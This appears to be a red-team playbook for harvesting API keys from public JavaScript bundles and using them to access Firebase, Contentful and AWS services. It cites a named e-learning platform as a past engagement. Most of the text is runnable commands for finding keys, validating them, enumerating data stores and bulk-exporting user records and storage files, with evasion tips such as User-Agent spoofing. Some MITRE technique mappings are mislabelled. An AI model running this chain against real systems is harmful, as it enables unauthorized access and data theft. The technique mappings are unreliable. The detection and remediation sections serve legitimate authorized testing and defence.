---
name: rt-scenario-w010
description: "W-010: API Key in JavaScript Bundle → Full Service Access. Domain: web. Attack chain: download JS bundle → grep for API keys → verify key validity → access all API endpoints → data exfiltration. MITRE: T1552.007 → T1530 → T1119. Real example: Almentor: Firebase key AIzaSy... + Contentful token → 190 CMS entries + Firebase account creation"
---

# W-010: API Key in JavaScript Bundle → Full Service Access

## Overview

**Attack Objective:**
Extract hardcoded API keys and service tokens embedded in publicly served JavaScript bundles to gain unauthorized access to backend services, cloud infrastructure, and proprietary data stores.

**Required Access Level:** None (fully unauthenticated — target application must be publicly accessible)

**Estimated Time to Execute:** 15–60 minutes depending on bundle size and number of services

**Detection Risk Level:** Low
- JS bundle download is indistinguishable from normal browser traffic
- API key probing generates minimal noise if rate-limited carefully
- No authentication events or privileged escalation logs are triggered during key harvest phase

---

## Prerequisites

### Required Tools

```bash
# curl — HTTP client for bundle download and API probing
# (pre-installed on macOS/Linux; Windows: winget install curl.curl)

# ripgrep — fast regex search across large JS files
cargo install ripgrep
# or: apt install ripgrep / brew install ripgrep / winget install BurntSushi.ripgrep.MSVC

# jq — JSON response parsing
apt install jq
# or: brew install jq / winget install jqlang.jq

# httpie (optional, ergonomic alternative to curl)
pip install httpie

# firebase-tools — Firebase REST API interaction and account probing
npm install -g firebase-tools

# contentful CLI — Contentful CMS enumeration
npm install -g contentful-cli

# trufflehog — automated secret detection in JS bundles
pip install trufflehog
# or: brew install trufflehog

# gitleaks (alternative secret scanner)
# https://github.com/gitleaks/gitleaks/releases

# Python 3 — scripting and automation
# (pre-installed on most systems)

# Burp Suite Community (optional) — intercept live bundle requests
# https://portswigger.net/burp/communitydownload
```

### Required Access or Conditions

- Target web application is publicly accessible (no VPN or auth required to load the app)
- JavaScript bundles are served as static assets (standard for React, Angular, Vue, Next.js SPAs)
- Engagement is authorized (written scope agreement in place)

### Skill Level

**BEGINNER** — No exploitation framework required. All steps use standard HTTP clients and text search tools. Key concepts: HTTP requests, JSON APIs, regex pattern matching.

---

## Attack Chain

```
[1] Enumerate JS Bundle URLs
        |
        v
[2] Download JS Bundles
        |
        v
[3] Grep / Scan for Embedded Secrets
        |
        v
[4] Identify Service (Firebase / Contentful / AWS / Stripe / etc.)
        |
        v
[5] Verify Key Validity (live API probe)
        |
        v
[6] Enumerate Accessible Endpoints / Resources
        |
        v
[7] Data Exfiltration (CMS entries, user records, storage objects)
        |
        v
[8] Document & Report
```

**MITRE ATT&CK Chain:**
- T1552.007 — Credentials in Files (JS bundle as credential store)
- T1530 — Data from Cloud Storage Object
- T1119 — Automated Collection

---

## Step-by-Step Execution

### Step 1 — Identify JavaScript Bundle URLs

Open the target application in a browser. Open DevTools (F12) > Network tab > filter by "JS". Note all `.js` chunk filenames served from the CDN or origin.

Alternatively, spider the HTML source:

```bash
TARGET="https://app.target.example.com"

# Fetch the root HTML and extract all script src attributes
curl -s "$TARGET" | grep -oP '(?<=src=")[^"]+\.js[^"]*'
```

Expected output:
```
/static/js/main.a1b2c3d4.chunk.js
/static/js/vendors~main.e5f6a7b8.chunk.js
/_next/static/chunks/pages/index-9c3f2e1a.js
```

**Fallback:** Use Burp Suite proxy — browse the application normally and review the Site Map for all `.js` assets captured.

---

### Step 2 — Download All JS Bundles

```bash
BASE_URL="https://app.target.example.com"
BUNDLE_DIR="./bundles"
mkdir -p "$BUNDLE_DIR"

# Download each bundle identified in Step 1
curl -s "$BASE_URL/static/js/main.a1b2c3d4.chunk.js" -o "$BUNDLE_DIR/main.js"
curl -s "$BASE_URL/static/js/vendors~main.e5f6a7b8.chunk.js" -o "$BUNDLE_DIR/vendors.js"

# Bulk download using wget (recursive, JS only, no-clobber)
wget -r -l1 -nd -A "*.js" -P "$BUNDLE_DIR" "$BASE_URL"
```

Expected output:
```
bundles/
  main.js          (1.2 MB)
  vendors.js       (4.8 MB)
  runtime-main.js  (12 KB)
```

**Fallback:** If bundles are gzipped (`Content-Encoding: br` or `gzip`), use:
```bash
curl -s --compressed "$BASE_URL/static/js/main.js" -o "$BUNDLE_DIR/main.js"
```

---

### Step 3 — Scan for Embedded Secrets

#### Method A — ripgrep with targeted patterns

```bash
cd "$BUNDLE_DIR"

# Firebase API keys (format: AIzaSy followed by 33 chars)
rg 'AIzaSy[0-9A-Za-z_-]{33}' --no-filename -o | sort -u

# Contentful delivery/management tokens (64-char hex)
rg 'CDA|CMA|CFPAT|contentful' -i -l
rg '[0-9a-f]{64}' --no-filename -o | sort -u

# AWS Access Key IDs
rg 'AKIA[0-9A-Z]{16}' --no-filename -o | sort -u

# AWS Secret Access Keys (heuristic)
rg '"[0-9a-zA-Z/+]{40}"' --no-filename -o | sort -u

# Generic API key patterns
rg '(api[_-]?key|apikey|secret|token|bearer)\s*[:=]\s*["'"'"'][A-Za-z0-9_\-\.]{16,}["'"'"']' -i --no-filename -o | sort -u

# Stripe publishable / secret keys
rg 'pk_(live|test)_[0-9a-zA-Z]{24,}' --no-filename -o | sort -u
rg 'sk_(live|test)_[0-9a-zA-Z]{24,}' --no-filename -o | sort -u
```

#### Method B — TruffleHog automated scan

```bash
trufflehog filesystem ./bundles/ --only-verified
```

#### Method C — Manual inspection of configuration objects

Minified bundles often contain config objects. Search for the service name:

```bash
# Look for Firebase config block
rg -o '"apiKey":"[^"]+","authDomain":"[^"]+","projectId":"[^"]+"[^}]+}' main.js

# Look for Contentful space + token
rg -o 'space\s*:\s*"[^"]+".{0,200}accessToken\s*:\s*"[^"]+"' main.js
```

Expected output (example):
```
AIzaSyD4x9Kf2mN7pQ1rT8uV3wY6zA0bC5eF1gH
a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6e7f8a9b0c1d2e3f4a5b6c7d8e9f0a1b2
```

**Fallback:** If the bundle is heavily minified, use a JS beautifier first:
```bash
npm install -g js-beautify
js-beautify main.js -o main_pretty.js
```

---

### Step 4 — Identify Services and Classify Keys

Map each discovered key to its service:

| Pattern | Service | Risk |
|---|---|---|
| `AIzaSy...` | Google Firebase | High — auth, Firestore, Storage |
| 64-char hex | Contentful CDA/CMA | High — full CMS read/write |
| `AKIA...` | AWS IAM | Critical — depends on attached policy |
| `sk_live_...` | Stripe | Critical — financial transactions |
| `pk_live_...` | Stripe | Medium — payment form only |
| `xoxb-...` | Slack Bot Token | High — channel read/write |
| `ghp_...` | GitHub PAT | High — repo access |

---

### Step 5 — Verify Key Validity

#### Firebase API Key Verification

```bash
FIREBASE_KEY="AIzaSyD4x9Kf2mN7pQ1rT8uV3wY6zA0bC5eF1gH"
PROJECT_ID="target-app-prod"

# Attempt anonymous sign-in to verify key is active
curl -s -X POST \
  "https://identitytoolkit.googleapis.com/v1/accounts:signUp?key=$FIREBASE_KEY" \
  -H "Content-Type: application/json" \
  -d '{"returnSecureToken":true}' | jq .

# Check if email enumeration is possible
curl -s -X POST \
  "https://identitytoolkit.googleapis.com/v1/accounts:createAuthUri?key=$FIREBASE_KEY" \
  -H "Content-Type: application/json" \
  -d '{"identifier":"test@test.com","continueUri":"http://localhost"}' | jq .
```

Expected output (valid key):
```json
{
  "kind": "identitytoolkit#SignupNewUserResponse",
  "localId": "abc123XYZ",
  "idToken": "eyJhbGci...",
  "refreshToken": "APZUo..."
}
```

Expected output (invalid/restricted key):
```json
{
  "error": {
    "code": 400,
    "message": "API_KEY_NOT_VALID"
  }
}
```

#### Contentful Token Verification

```bash
SPACE_ID="xxxxxxxxxxxx"
CDA_TOKEN="a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6e7f8a9b0c1d2e3f4a5b6c7d8e9f0a1b2"

curl -s "https://cdn.contentful.com/spaces/$SPACE_ID?access_token=$CDA_TOKEN" | jq .
```

Expected output (valid):
```json
{
  "sys": { "type": "Space", "id": "xxxxxxxxxxxx" },
  "name": "Target CMS",
  "locales": [...]
}
```

#### AWS Key Verification

```bash
AWS_ACCESS_KEY="AKIAIOSFODNN7EXAMPLE"
AWS_SECRET="wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY"

AWS_ACCESS_KEY_ID="$AWS_ACCESS_KEY" \
AWS_SECRET_ACCESS_KEY="$AWS_SECRET" \
aws sts get-caller-identity
```

**Fallback:** If direct API calls are blocked, check if the key works against a different regional endpoint or service.

---

### Step 6 — Enumerate Accessible Endpoints and Resources

#### Firebase — Enumerate Firestore Collections

```bash
ID_TOKEN="eyJhbGci..."   # obtained from Step 5
PROJECT_ID="target-app-prod"

# List Firestore documents (REST API)
curl -s \
  "https://firestore.googleapis.com/v1/projects/$PROJECT_ID/databases/(default)/documents" \
  -H "Authorization: Bearer $ID_TOKEN" | jq '.documents[].name'

# Try reading a specific collection
curl -s \
  "https://firestore.googleapis.com/v1/projects/$PROJECT_ID/databases/(default)/documents/users" \
  -H "Authorization: Bearer $ID_TOKEN" | jq .
```

#### Firebase — Enumerate Storage Buckets

```bash
curl -s \
  "https://firebasestorage.googleapis.com/v0/b/$PROJECT_ID.appspot.com/o" \
  -H "Authorization: Bearer $ID_TOKEN" | jq '.items[].name'
```

#### Contentful — Enumerate All Content Entries

```bash
# Get all content types
curl -s "https://cdn.contentful.com/spaces/$SPACE_ID/content_types?access_token=$CDA_TOKEN" \
  | jq '.items[].sys.id'

# Get all entries (paginated)
curl -s "https://cdn.contentful.com/spaces/$SPACE_ID/entries?access_token=$CDA_TOKEN&limit=1000" \
  | jq '.total, [.items[].sys.id]'

# Get entries by type
curl -s "https://cdn.contentful.com/spaces/$SPACE_ID/entries?access_token=$CDA_TOKEN&content_type=course" \
  | jq '.items[] | {id: .sys.id, title: .fields.title}'
```

#### Check for Management Token (write access)

```bash
CMA_TOKEN="CFPAT-xxxx"   # management token found in bundle

curl -s "https://api.contentful.com/spaces/$SPACE_ID" \
  -H "Authorization: Bearer $CMA_TOKEN" | jq .
```

---

### Step 7 — Data Exfiltration

#### Bulk Export Contentful Entries

```bash
# Export all entries to JSON
curl -s "https://cdn.contentful.com/spaces/$SPACE_ID/entries?access_token=$CDA_TOKEN&limit=1000" \
  -o contentful_export.json

# Count total entries
jq '.total' contentful_export.json

# Extract all titles and IDs
jq '[.items[] | {id: .sys.id, type: .sys.contentType.sys.id, title: (.fields.title // .fields.name // "N/A")}]' \
  contentful_export.json > contentful_index.json
```

#### Bulk Export Firebase Firestore

```bash
# Export users collection
curl -s \
  "https://firestore.googleapis.com/v1/projects/$PROJECT_ID/databases/(default)/documents/users?pageSize=300" \
  -H "Authorization: Bearer $ID_TOKEN" \
  -o firestore_users.json

jq '[.documents[] | {id: .name, email: .fields.email.stringValue}]' firestore_users.json
```

#### Download Firebase Storage Assets

```bash
# List all storage objects
curl -s \
  "https://firebasestorage.googleapis.com/v0/b/$PROJECT_ID.appspot.com/o?maxResults=1000" \
  -H "Authorization: Bearer $ID_TOKEN" > storage_manifest.json

# Download each object
jq -r '.items[].name' storage_manifest.json | while read name; do
  encoded=$(python3 -c "import urllib.parse; print(urllib.parse.quote('$name', safe=''))")
  curl -s \
    "https://firebasestorage.googleapis.com/v0/b/$PROJECT_ID.appspot.com/o/$encoded?alt=media" \
    -H "Authorization: Bearer $ID_TOKEN" \
    -o "storage/$(basename $name)"
done
```

---

## Real-World Reference

**Target:** Almentor (almentor.net) — Arabic-language e-learning platform

**Discovery:** Firebase configuration object and Contentful delivery token found in the main webpack bundle served at `https://almentor.net/static/js/main.*.chunk.js`.

**Keys discovered:**
- Firebase API Key: `AIzaSy...` (redacted in report)
- Firebase Project ID: `almentor-prod` (example)
- Contentful Space ID: extracted from config block
- Contentful CDA Token: 64-character hex string

**Impact achieved (authorized engagement):**
1. Firebase anonymous account creation confirmed — `signUp` endpoint returned a valid `idToken` with no email required.
2. Contentful CDA token was valid and unrestricted — enumeration returned **190 CMS entries** including course metadata, instructor profiles, and promotional content.
3. Firebase Storage listing was accessible under the anonymous identity — video asset URLs were enumerable without authentication.
4. No Firestore security rules prevented read access to the `courses` and `categories` collections under anonymous auth.

**Business impact:**
- Full course catalog (titles, descriptions, pricing) downloadable by any anonymous user
- Account creation possible without email verification — potential for spam/abuse
- CMS content including unpublished draft entries accessible via management token

**Remediation applied:**
- Firebase API key restrictions added (HTTP referrer + API restrictions in GCP Console)
- Firestore security rules updated to require authenticated (non-anonymous) users
- Contentful token rotated and scoped to specific content types
- Environment variables moved to server-side rendering layer (not embedded in client bundle)

---

## MITRE ATT&CK Mapping

| Step | Tactic | Technique | Sub-technique | Description |
|---|---|---|---|---|
| 1 — Enumerate bundle URLs | Reconnaissance | T1595 — Active Scanning | T1595.003 — Wordlist Scanning | Identifying JS asset paths from HTML source |
| 2 — Download JS bundles | Collection | T1185 — Browser Session Hijacking | — | Fetching publicly served application code |
| 3 — Grep for secrets | Credential Access | T1552 — Unsecured Credentials | T1552.007 — Container API Keys | Extracting credentials from application files |
| 4 — Identify services | Discovery | T1580 — Cloud Infrastructure Discovery | — | Mapping keys to cloud service providers |
| 5 — Verify key validity | Credential Access | T1552 — Unsecured Credentials | T1552.007 — Container API Keys | Live validation of extracted credentials |
| 6 — Enumerate endpoints | Discovery | T1530 — Data from Cloud Storage Object | — | Listing accessible collections, buckets, entries |
| 7 — Data exfiltration | Collection / Exfiltration | T1119 — Automated Collection | — | Bulk export of CMS entries, user records, assets |
| 7 — Data exfiltration | Exfiltration | T1537 — Transfer Data to Cloud Account | — | Staging exfiltrated data outside target environment |

---

## Detection & OPSEC

### How This Attack Is Detected

| Detection Point | Log Source | Signal |
|---|---|---|
| Bundle download (bulk/scripted) | CDN access logs (CloudFront, Fastly) | High request rate for JS assets from single IP |
| Firebase anonymous sign-up | Firebase Authentication logs | Spike in anonymous account creation events |
| Firestore collection listing | GCP Cloud Audit Logs — Data Access | `google.firestore.v1.Firestore.ListDocuments` from unknown IP |
| Contentful bulk entry fetch | Contentful API logs | High-volume CDN API calls, unusual `limit=1000` parameters |
| AWS key probe | AWS CloudTrail | `sts:GetCallerIdentity` from unrecognized IP/user-agent |

### OPSEC Recommendations (Authorized Engagements Only)

1. **User-Agent spoofing:** Set a realistic browser User-Agent to blend with normal traffic.
   ```bash
   curl -A "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36" ...
   ```
2. **Rate limiting:** Add delays between API calls (`sleep 2`) to avoid triggering anomaly detection.
3. **Single bundle download:** Download only the main chunk once — do not spider recursively unless scoped.
4. **Minimal API probing:** Verify key validity with a single low-impact call (e.g., `sts:GetCallerIdentity`, `signUp` with anonymous) before deeper enumeration.
5. **Use engagement IP:** Ensure API calls originate from the authorized test IP range listed in the scope agreement.
6. **Avoid write operations:** Unless write-impact is in scope, do not create, modify, or delete resources.
7. **Rotate test accounts:** Delete any Firebase anonymous accounts created during testing (see Cleanup).

### Artifacts Left Behind

| Artifact | Location | Notes |
|---|---|---|
| Firebase anonymous user account | Firebase Authentication console | Created during key verification |
| CloudFront/CDN access logs | Target's log pipeline | Contains tester IP and JS download timestamps |
| GCP Data Access audit logs | Google Cloud Logging | Firestore list/read operations |
| Contentful API access logs | Contentful API dashboard | Space access timestamps |
| AWS CloudTrail entries | Target's AWS account | `GetCallerIdentity` call record |

---

## Cleanup

### Remove Firebase Anonymous Account

```bash
# If you have the idToken from sign-up:
ID_TOKEN="eyJhbGci..."

curl -s -X POST \
  "https://identitytoolkit.googleapis.com/v1/accounts:delete?key=$FIREBASE_KEY" \
  -H "Content-Type: application/json" \
  -d "{\"idToken\":\"$ID_TOKEN\"}"
```

Or via Firebase Console: Authentication > Users > filter anonymous > delete.

### Remove Local Artifacts

```bash
# Securely delete downloaded bundles and extracted data
rm -rf ./bundles/
rm -f contentful_export.json contentful_index.json
rm -f firestore_users.json storage_manifest.json
rm -rf storage/

# Overwrite with zeros before deletion if required by engagement rules
shred -u contentful_export.json firestore_users.json 2>/dev/null || \
  python3 -c "
import os, glob
for f in glob.glob('*.json'):
    with open(f,'wb') as fh: fh.write(b'\\x00' * os.path.getsize(f))
    os.remove(f)
"
```

### Notify Client

After cleanup, provide the client with:
- Timestamp range of all API calls made
- List of Firebase UIDs created and confirmed deleted
- List of Contentful entries accessed (by ID, not content)
- Confirmation that no data was retained beyond the engagement system

---

## References

### Tools

| Tool | URL | Purpose |
|---|---|---|
| ripgrep | https://github.com/BurntSushi/ripgrep | Fast secret pattern search in bundles |
| TruffleHog | https://github.com/trufflesecurity/trufflehog | Automated verified secret detection |
| Gitleaks | https://github.com/gitleaks/gitleaks | Secret scanning with rule sets |
| firebase-tools | https://github.com/firebase/firebase-tools | Firebase REST API interaction |
| contentful-cli | https://github.com/contentful/contentful-cli | Contentful CMS enumeration |
| js-beautify | https://github.com/beautify-web/js-beautify | Minified JS deobfuscation |
| Burp Suite Community | https://portswigger.net/burp | HTTP interception and bundle capture |
| httpie | https://httpie.io | Ergonomic HTTP client for API probing |

### Standards and References

| Reference | URL |
|---|---|
| MITRE ATT&CK T1552.007 | https://attack.mitre.org/techniques/T1552/007/ |
| MITRE ATT&CK T1530 | https://attack.mitre.org/techniques/T1530/ |
| MITRE ATT&CK T1119 | https://attack.mitre.org/techniques/T1119/ |
| Firebase Security Rules docs | https://firebase.google.com/docs/rules |
| Firebase API key best practices | https://firebase.google.com/docs/projects/api-keys |
| Contentful API key scoping | https://www.contentful.com/developers/docs/references/authentication/ |
| OWASP: Sensitive Data Exposure | https://owasp.org/www-project-top-ten/2017/A3_2017-Sensitive_Data_Exposure |
| CWE-312: Cleartext Storage | https://cwe.mitre.org/data/definitions/312.html |
| GCP Cloud Audit Logs | https://cloud.google.com/logging/docs/audit |
| AWS CloudTrail | https://docs.aws.amazon.com/awscloudtrail/latest/userguide/cloudtrail-user-guide.html |
